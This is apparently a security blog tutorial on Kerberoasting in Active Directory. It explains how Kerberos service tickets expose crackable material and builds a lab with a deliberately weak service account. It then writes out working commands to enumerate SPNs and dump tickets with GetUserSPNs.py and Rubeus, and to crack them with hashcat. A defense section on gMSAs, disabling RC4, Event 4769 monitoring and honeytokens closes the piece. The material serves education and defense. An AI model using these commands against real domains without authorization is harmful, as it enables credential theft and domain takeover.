Kerberoasting: The Complete Guide to Mechanics, Attack, and Defense

Active Directory
Time it takes to read this article 4 minutes.

Disclaimer: This article is provided strictly for educational purposes and for authorized security testing. Only perform these techniques against systems you own or for which you have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction

Kerberoasting is one of the most reliable and low-noise techniques for privilege escalation and lateral movement inside an Active Directory (AD) domain. It abuses a fundamental design property of Kerberos: any authenticated domain user can request a service ticket for any account that has a Service Principal Name (SPN) registered, and a portion of that ticket is encrypted with the service account’s password-derived key. Because the cracking happens entirely offline, the attack generates almost no anomalous authentication traffic and never needs administrative rights to begin.

In this guide you will learn how the Kerberos ticket flow exposes crackable material, how to extract tickets with GetUserSPNs.py and Rubeus, how to crack them with hashcat mode 13100, and — given equal weight — how a blue team detects and shuts the technique down.

How It Works

Kerberos authentication separates the ticket-granting phase from service access. After a user authenticates to the Key Distribution Center (KDC) and obtains a Ticket-Granting Ticket (TGT), they can request a Ticket-Granting Service reply (TGS-REP) for any service identified by an SPN — for example MSSQLSvc/sql01.corp.local:1433.

The KDC returns a TGS whose embedded “service ticket” portion is encrypted with the long-term key of the account that owns the SPN. For a user-mapped service account, that key is derived directly from the account’s plaintext password. The KDC does not check whether the requesting user is actually authorized to use the service — authorization is the service’s job, performed later. This is the crux of the attack: an attacker requests the ticket, captures the encrypted blob, and cracks it offline. If the service account password is weak, recovery is trivial.

The weakest encryption type, RC4-HMAC (etype 23), maps directly to hashcat mode 13100 and is by far the fastest to crack because the key is the NT hash of the password. AES-encrypted tickets (etypes 17/18) correspond to hashcat modes 19600/19700 and are dramatically slower. Attackers therefore frequently request RC4 explicitly when the domain still permits it.

Prerequisites / Lab Setup

To follow along you need:

  • A test AD domain (e.g., corp.local) with a Domain Controller.
  • A low-privilege domain user account and its password — no admin rights required.
  • A service account with a registered SPN and, ideally, a weak password.

Create a deliberately weak target account in your lab:

New-ADUser -Name "svc_sql" -SamAccountName "svc_sql" `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Enabled $true
setspn -A MSSQLSvc/sql01.corp.local:1433 svc_sql

Verify the SPN registration:

setspn -L svc_sql

Attack Walkthrough

Step 1 — Enumerate Kerberoastable accounts

From a Linux attack box, Impacket’s GetUserSPNs.py lists every account with an SPN:

GetUserSPNs.py corp.local/lowuser:'Password123' -dc-ip 10.10.10.10

Step 2 — Request and dump the TGS-REP hashes

Add -request to actually pull the tickets, and -outputfile to save them in hashcat format:

GetUserSPNs.py corp.local/lowuser:'Password123' -dc-ip 10.10.10.10 \
  -request -outputfile kerberoast.hashes

You can also target a single account and force RC4 where supported:

GetUserSPNs.py corp.local/lowuser:'Password123' -dc-ip 10.10.10.10 \
  -request-user svc_sql -outputfile svc_sql.hash

From a Windows host already inside the domain, Rubeus is the de-facto tool:

Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

The /rc4opsec flag instructs Rubeus to roast only accounts that don’t require AES, reducing noise. The output line looks like $krb5tgs$23$*svc_sql$CORP.LOCAL$..., where 23 confirms RC4-HMAC.

Step 3 — Crack offline with hashcat

Feed the captured hashes to hashcat using mode 13100 for RC4-HMAC TGS-REP tickets:

hashcat -m 13100 -a 0 kerberoast.hashes /usr/share/wordlists/rockyou.txt

Add a rule set to extend coverage against predictable passwords:

hashcat -m 13100 kerberoast.hashes rockyou.txt -r rules/best64.rule

For AES-encrypted tickets you must switch modes — 19600 for AES128 (etype 17) and 19700 for AES256 (etype 18):

hashcat -m 19700 -a 0 aes_tickets.hash rockyou.txt

Once cracked, the plaintext service account credential is yours. If that account is privileged (a classic example is a SQL or backup service in Domain Admins), this becomes a direct path to domain compromise. See also Active Directory enumeration with BloodHound for mapping where a roasted account can take you.

Attack Flow Diagram

Kerberoasting: The Complete Guide to Mechanics, Attack, and Defense diagram 1

The diagram shows the attacker authenticating, requesting a service ticket for an SPN, and cracking the returned TGS-REP offline to recover the service account’s password.

Detection & Defense (Blue Team)

Kerberoasting is detectable and largely preventable. Treat the following with the same priority as understanding the offense.

1. Use long, random passwords or gMSAs. The single most effective control is removing the offline-crackability. Group Managed Service Accounts (gMSAs) and delegated MSAs use 120+ character randomly generated passwords rotated automatically, making cracking computationally infeasible. Where you cannot use gMSAs, enforce 25+ character random passwords on SPN-bearing accounts.

2. Disable RC4. Force AES-only encryption for service accounts via the msDS-SupportedEncryptionTypes attribute, and harden the domain policy “Network security: Configure encryption types allowed for Kerberos.” This pushes attackers into the far slower 19600/19700 modes.

Get-ADUser svc_sql -Properties msDS-SupportedEncryptionTypes
Set-ADUser svc_sql -Replace @{'msDS-SupportedEncryptionTypes'=24}  # AES128+AES256 only

3. Hunt for the SPNs themselves. Audit and minimize accounts with SPNs, especially privileged ones — no service account should sit in Domain Admins:

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
  -Properties ServicePrincipalName, memberOf | Format-Table Name, memberOf

4. Monitor Event ID 4769. Kerberos service ticket requests are logged on Domain Controllers as Windows Security Event ID 4769. Hunt for high-volume requests from a single account, requests with Ticket Encryption Type 0x17 (RC4), and tickets for many distinct SPNs in a short window. Correlate with a low Ticket Options field. Tune out legitimate service traffic to reduce false positives.

5. Deploy honeytokens. Create a decoy account with an SPN, a tempting name, and a strong password that no service ever uses. Any 4769 request for that SPN is high-fidelity evidence of roasting, since no legitimate process should ever request it.

Map your detections to MITRE ATT&CK technique T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting) for coverage tracking. For broader Kerberos abuse, pair this with hardening against AS-REP Roasting, which exploits accounts with pre-authentication disabled.

Conclusion

Kerberoasting endures because it leverages a legitimate, mandatory feature of Kerberos rather than a patchable bug — there is no single CVE to fix. Defense therefore rests on credential hygiene: eliminate RC4, adopt gMSAs, keep service accounts out of privileged groups, and instrument 4769 monitoring with honeytokens. For attackers and defenders alike, the lesson is the same — a weak service account password is a domain-wide liability, and offline cracking gives no warning until it is too late.

References

Comments

Copied title and URL